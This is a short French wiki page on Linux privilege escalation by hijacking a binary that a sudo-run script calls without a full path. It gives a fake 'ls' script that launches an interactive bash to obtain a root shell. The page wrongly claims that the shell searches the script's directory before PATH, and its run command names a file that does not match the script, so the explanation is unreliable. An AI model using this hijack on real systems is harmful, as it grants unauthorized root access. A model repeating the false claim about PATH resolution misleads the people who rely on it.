[Privesc/Linux] Chemin de binaire incomplet

Introduction

Lorsqu'un binaire ou un programme est utilisé dans un script mais que le chemin de celui-ci n'est pas indiqué de manière complète (ex : **ls** et non **/usr/bin/ls**), cela signifie que le shell va faire utiliser la variable d'environnement PATH pour résoudre le chemin complet du binaire.

Toutefois, avant d'effectuer cette résolution, le shell va rechercher le binaire dans le répertoire courant du script et l'utilisera en priorité par rapport au binaire indiqué dans le path.

Cela signifie qu'une montée en privilège sera possible dans le cas où un script est exécuté avec des privilèges et que celui-ci utilise un programme sans fournir le chemin complet.

Exploitation

Prenons l'exemple suivant d'un script **wireguard_confs.sh** qui serait exécutable en root grâce à sudo par notre utilisateur :

```
#!/bin/bash
# Print all wireguard confs


ls /etc/wireguard/
```

Il suffirait de créer un faux binaire ls dans le même dossier que le script précédent :

```
nano ls
```

```
#!/bin/bash


/bin/bash -i
```

```
chmod +x ls
```

Et la magie opère lorsqu'on relance le script :

```
./wireguard_confs
```

> Vous devriez obtenir un shell root.

Revision #1
Created 2024-05-03 20:21:35 UTC by Elieroc
Updated 2024-05-03 20:37:31 UTC by Elieroc